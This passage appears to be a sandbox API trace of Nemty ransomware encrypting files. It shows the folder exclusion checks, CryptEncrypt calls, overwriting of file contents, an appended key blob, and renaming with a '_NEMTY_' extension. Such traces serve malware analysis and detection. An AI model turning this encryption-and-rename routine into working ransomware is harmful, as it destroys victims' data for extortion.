lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_KW.txt", cAlternateFileName="DIF6C4~1.TXT")) returned 1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2=".") returned 1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="..") returned 1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="...") returned 1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="windows") returned -1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="rsa") returned -1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="NTDETECT.COM") returned -1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="ntldr") returned -1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="MSDOS.SYS") returned -1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="IO.SYS") returned -1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="boot.ini") returned 1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="boot.ini") returned 1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.707] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="ntuser.dat") returned -1 [0214.708] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="desktop.ini") returned 1 [0214.708] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="CONFIG.SYS") returned 1 [0214.708] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="RECYCLER") returned -1 [0214.708] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.708] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="bootmgr") returned 1 [0214.708] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="programdata") returned -1 [0214.708] lstrcmpiW (lpString1="DisplayLanguageNames.ar_KW.txt", lpString2="appdata") returned 1 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_KW.txt", lpUsedDefaultChar=0x0) returned 30 [0214.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_KW.txt", lpUsedDefaultChar=0x0) returned 30 [0214.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_KW.txt", lpUsedDefaultChar=0x0) returned 30 [0214.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_KW.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_KW.txt", lpUsedDefaultChar=0x0) returned 30 [0214.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.708] Sleep (dwMilliseconds=0x5) [0214.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x339e50d0, dwHighDateTime=0x1d561e8)) [0214.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x339e50d0, dwHighDateTime=0x1d561e8)) [0214.716] GetLastError () returned 0x0 [0214.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.716] GetLastError () returned 0x0 [0214.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.717] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.717] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.717] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.717] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="/3uYYBlJQmnblCa/ai9YzEkDtJC7dhgmTacYl/GENGoGy6LtlO8/gfomrumGYuT1\r\n6g3Ep8Q3mcoEmyp+0nRcQqHDhwWBU6jQSj05p0S348FxtFBODR7w9lLh/+BFqnrr\r\nlANkBaa+4mGDR7dgfx74SQ1sdVyPb6le51oRRs/c0lzfDzAX5R6QVKLBJZWRrfAC\r\n5rEcJYKVyj9GPxMzGSJS/OnR5WuaWsOFatR4lZ0+y1UQiDxwd8SkeKc194Vts+QF\r\nnppad80nDDWAc9xQ1UxwIKiJ+o+6Lb4pD+C98BfFu5x4KnFdHctstaWK8zXYfXjz\r\n4YwXOPa1U/XKP5ewfUFLZg==\r\n", pcchString=0x653e5dc) returned 1 [0214.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.717] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.717] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.718] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.718] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c90, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c90, lpOverlapped=0x0) returned 1 [0214.721] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.721] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c90, lpOverlapped=0x0) returned 1 [0214.721] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.721] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27798, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c96 [0214.721] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0214.721] CloseHandle (hObject=0x2e8) returned 1 [0214.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0214.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.722] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0214.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.722] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_KW.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_kw.txt._nemty_kgobjgd_")) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0214.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.723] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f44c1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.ar_LB.txt", cAlternateFileName="DI621E~1.TXT")) returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2=".") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="..") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="...") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="windows") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="$RECYCLE.BIN") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="rsa") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="NTDETECT.COM") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="ntldr") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="MSDOS.SYS") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="IO.SYS") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="boot.ini") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="boot.ini") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="AUTOEXEC.BAT") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="ntuser.dat") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="desktop.ini") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="CONFIG.SYS") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="RECYCLER") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="BOOTSECT.BAK") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="bootmgr") returned 1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="programdata") returned -1 [0214.723] lstrcmpiW (lpString1="DisplayLanguageNames.ar_LB.txt", lpString2="appdata") returned 1 [0214.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LB.txt", lpUsedDefaultChar=0x0) returned 30 [0214.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0214.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.723] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LB.txt", lpUsedDefaultChar=0x0) returned 30 [0214.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0214.723] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LB.txt", lpUsedDefaultChar=0x0) returned 30 [0214.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0214.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_LB.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_LB.txt", lpUsedDefaultChar=0x0) returned 30 [0214.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0214.724] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0214.724] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0214.724] Sleep (dwMilliseconds=0x5) [0214.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33a0b230, dwHighDateTime=0x1d561e8)) [0214.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33a0b230, dwHighDateTime=0x1d561e8)) [0214.732] GetLastError () returned 0x0 [0214.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.732] GetLastError () returned 0x0 [0214.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.732] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0214.732] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0214.732] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0214.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0214.732] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e5dc | out: pszString="jIB5x+hLY1jmmWX1h7aeD2XiBAPz+3Jk2TbQMaPeHo19EicaZe/t/DHLu4oXb+Fn\r\n+ypDNrdu+wspC1SO9CqVLYpXtBm0SwbioTvt8bCBBTnIfHkUufxMfNXEcHpZKFvZ\r\noxl4UahPfngPqZQIf9r924ARLP7JuztgVJOsFCz/eTqoX+N/Ct+j0YmjunvHEZ+p\r\nNPf73+y4vB1REF1PLJkyYJf2HN+ohM765j34VCCwrdTabnX9rGjbU2t81XW++4oz\r\nMaxTl3+93fLTfedrJf/VLHIpqX2KNNkvsDriHfZ7CXSHj5WMTMPa+oTOAMhNmswU\r\ndYTfjly+4PUUrfwhmA04SQ==\r\n", pcchString=0x653e5dc) returned 1 [0214.732] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.732] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0214.733] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0214.734] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27798) returned 1 [0214.734] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c90) returned 0x6352c48 [0214.734] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.734] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, 